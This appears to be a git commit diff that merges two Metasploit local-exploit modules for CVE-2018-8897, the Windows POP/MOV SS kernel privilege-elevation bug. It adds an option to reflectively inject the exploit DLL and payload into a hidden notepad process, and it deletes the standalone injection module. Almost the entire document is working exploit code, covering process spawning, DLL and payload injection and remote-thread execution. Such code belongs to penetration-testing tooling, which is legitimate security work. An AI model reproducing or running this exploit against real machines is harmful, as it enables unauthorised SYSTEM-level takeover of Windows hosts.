Combine the modules and update the binaries
parent
aaf1a22c7c
commit
b4792e08a4
Binary file not shown.
Binary file not shown.
|
@ -16,6 +16,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Priv
|
include Msf::Post::Windows::Priv
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||||
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -60,17 +62,34 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
|
OptBool.new('USE_INJECTION',
|
||||||
|
[true, 'Use in-memory dll injection rather than exe file uploads.', true]),
|
||||||
OptString.new('EXPLOIT_NAME',
|
OptString.new('EXPLOIT_NAME',
|
||||||
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
|
[false, 'The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).', nil]),
|
||||||
OptString.new('PAYLOAD_NAME',
|
OptString.new('PAYLOAD_NAME',
|
||||||
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
|
[false, 'The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).', nil]),
|
||||||
OptString.new('PATH',
|
OptString.new('PATH',
|
||||||
[false, 'Path to write binaries (%TEMP% by default).', nil]),
|
[false, 'Path to write binaries if if USE_INJECTION=false(%TEMP% by default).', nil]),
|
||||||
OptInt.new('EXECUTE_DELAY',
|
OptInt.new('EXECUTE_DELAY',
|
||||||
[false, 'The number of seconds to delay before executing the exploit', 3])
|
[false, 'The number of seconds to delay before executing the exploit if USE_INJECTION=false', 3])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def setup_process
|
||||||
|
begin
|
||||||
|
print_status('Launching notepad to host the exploit...')
|
||||||
|
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
|
||||||
|
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||||
|
print_good("Process #{process.pid} launched.")
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
# Sandboxes could not allow to create a new process
|
||||||
|
# stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||||
|
print_error('Operation failed. Trying to elevate the current process...')
|
||||||
|
process = client.sys.process.open
|
||||||
|
end
|
||||||
|
process
|
||||||
|
end
|
||||||
|
|
||||||
def setup
|
def setup
|
||||||
super
|
super
|
||||||
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
||||||
|
@ -83,6 +102,25 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
@payload_exe = generate_payload_exe
|
@payload_exe = generate_payload_exe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def inject_magic(process)
|
||||||
|
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll')
|
||||||
|
library_path = ::File.expand_path(library_path)
|
||||||
|
|
||||||
|
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||||
|
dll = ''
|
||||||
|
::File.open(library_path, 'rb') { |f| dll = f.read }
|
||||||
|
|
||||||
|
exploit_mem, offset = inject_dll_data_into_process(process, dll)
|
||||||
|
|
||||||
|
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
||||||
|
payload_mem = inject_into_process(process, payload.encoded)
|
||||||
|
|
||||||
|
# invoke the exploit, passing in the address of the payload that
|
||||||
|
# we want invoked on successful exploitation.
|
||||||
|
print_status('Payload injected. Executing exploit...')
|
||||||
|
process.thread.create(exploit_mem + offset, payload_mem)
|
||||||
|
end
|
||||||
|
|
||||||
def validate_active_host
|
def validate_active_host
|
||||||
begin
|
begin
|
||||||
host = session.session_host
|
host = session.session_host
|
||||||
|
@ -130,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_exploit
|
def upload_exploit
|
||||||
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
|
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'cve-2018-8897-exe.exe')
|
||||||
upload_file(exploit_path, local_exploit_path)
|
upload_file(exploit_path, local_exploit_path)
|
||||||
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
|
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
|
||||||
end
|
end
|
||||||
|
@ -147,16 +185,30 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
vprint_status(output)
|
vprint_status(output)
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit_dll
|
||||||
begin
|
begin
|
||||||
|
print_status('Checking target...')
|
||||||
validate_active_host
|
validate_active_host
|
||||||
validate_target
|
validate_target
|
||||||
|
print_status('Target Looks Good... trying to start notepad')
|
||||||
|
process = setup_process
|
||||||
|
inject_magic(process)
|
||||||
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
|
print_error(e.message)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_exe
|
||||||
|
begin
|
||||||
validate_remote_path(temp_path)
|
validate_remote_path(temp_path)
|
||||||
ensure_clean_exploit_destination
|
ensure_clean_exploit_destination
|
||||||
ensure_clean_payload_destination
|
ensure_clean_payload_destination
|
||||||
upload_exploit
|
upload_exploit
|
||||||
upload_payload
|
upload_payload
|
||||||
execute_exploit
|
execute_exploit
|
||||||
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
print_error(e.message)
|
print_error(e.message)
|
||||||
|
@ -165,6 +217,18 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
begin
|
||||||
|
validate_active_host
|
||||||
|
validate_target
|
||||||
|
if datastore['USE_INJECTION']
|
||||||
|
exploit_dll
|
||||||
|
else
|
||||||
|
exploit_exe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
attr_reader :exploit_name
|
attr_reader :exploit_name
|
||||||
attr_reader :payload_name
|
attr_reader :payload_name
|
||||||
attr_reader :payload_exe
|
attr_reader :payload_exe
|
||||||
|
|
|
@ -1,144 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: https://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core/post/windows/reflective_dll_injection'
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Local
|
|
||||||
Rank = ManualRanking
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Post::Windows::Priv
|
|
||||||
include Msf::Post::Windows::Process
|
|
||||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
|
|
||||||
'Description' => %q(
|
|
||||||
This module exploits a vulnerability in a statement in the system programming guide
|
|
||||||
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
|
|
||||||
in various operating system kerneles, resulting in unexpected behavior for #DB
|
|
||||||
excpetions that are deferred by MOV SS or POP SS.
|
|
||||||
|
|
||||||
This module will inject an exploit dll into a process, then the elevated thread
|
|
||||||
will call the designated payload.
|
|
||||||
|
|
||||||
The vulnerability/feature this exploit leverages is not always replicated in virtual
|
|
||||||
CPUs and may not work on virtual machines.
|
|
||||||
),
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Nick Peterson', # Original discovery (@nickeverdox)
|
|
||||||
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
|
|
||||||
'Can Bölük <can1357>', # PoC
|
|
||||||
'bwatters-r7' # msf module
|
|
||||||
],
|
|
||||||
'Platform' => ['win'],
|
|
||||||
'SessionTypes' => ['meterpreter'],
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
['Windows x64', { 'Arch' => ARCH_X64 }]
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'DisclosureDate' => 'May 08 2018',
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
['CVE', '2018-8897'],
|
|
||||||
['EDB', '44697'],
|
|
||||||
['BID', '104071'],
|
|
||||||
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
|
|
||||||
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
|
|
||||||
],
|
|
||||||
'DefaultOptions' =>
|
|
||||||
{
|
|
||||||
'DisablePayloadHandler' => 'False'
|
|
||||||
}
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options([
|
|
||||||
OptString.new('EXPLOIT_NAME',
|
|
||||||
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
|
|
||||||
OptString.new('PAYLOAD_NAME',
|
|
||||||
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
|
|
||||||
OptString.new('PATH',
|
|
||||||
[false, 'Path to write binaries (%TEMP% by default).', nil]),
|
|
||||||
OptInt.new('EXECUTE_DELAY',
|
|
||||||
[false, 'The number of seconds to delay before executing the exploit', 3])
|
|
||||||
])
|
|
||||||
end
|
|
||||||
|
|
||||||
def validate_active_host
|
|
||||||
begin
|
|
||||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
|
||||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
|
||||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def validate_target
|
|
||||||
if sysinfo['Architecture'] == ARCH_X86
|
|
||||||
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
|
|
||||||
end
|
|
||||||
if sysinfo['OS'] =~ /XP/
|
|
||||||
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
|
|
||||||
end
|
|
||||||
if is_system?
|
|
||||||
fail_with(Failure::None, 'Session is already elevated')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def setup_process
|
|
||||||
begin
|
|
||||||
print_status('Launching notepad to host the exploit...')
|
|
||||||
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
|
|
||||||
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
|
||||||
print_good("Process #{process.pid} launched.")
|
|
||||||
rescue Rex::Post::Meterpreter::RequestError
|
|
||||||
# Sandboxes could not allow to create a new process
|
|
||||||
# stdapi_sys_process_execute: Operation failed: Access is denied.
|
|
||||||
print_error('Operation failed. Trying to elevate the current process...')
|
|
||||||
process = client.sys.process.open
|
|
||||||
end
|
|
||||||
process
|
|
||||||
end
|
|
||||||
|
|
||||||
def inject_magic(process)
|
|
||||||
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll')
|
|
||||||
library_path = ::File.expand_path(library_path)
|
|
||||||
|
|
||||||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
|
||||||
dll = ''
|
|
||||||
::File.open(library_path, 'rb') { |f| dll = f.read }
|
|
||||||
|
|
||||||
exploit_mem, offset = inject_dll_data_into_process(process, dll)
|
|
||||||
|
|
||||||
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
|
||||||
payload_mem = inject_into_process(process, payload.encoded)
|
|
||||||
|
|
||||||
# invoke the exploit, passing in the address of the payload that
|
|
||||||
# we want invoked on successful exploitation.
|
|
||||||
print_status('Payload injected. Executing exploit...')
|
|
||||||
process.thread.create(exploit_mem + offset, payload_mem)
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
begin
|
|
||||||
print_status('Checking target...')
|
|
||||||
validate_active_host
|
|
||||||
validate_target
|
|
||||||
print_status('Target Looks Good... trying to start notepad')
|
|
||||||
process = setup_process
|
|
||||||
inject_magic(process)
|
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
|
||||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
|
||||||
print_error(e.message)
|
|
||||||
ensure_clean_exploit_destination
|
|
||||||
ensure_clean_payload_destination
|
|
||||||
end
|
|
||||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
|
||||||
end
|
|
||||||
end
|
|
Loading…
Reference in New Issue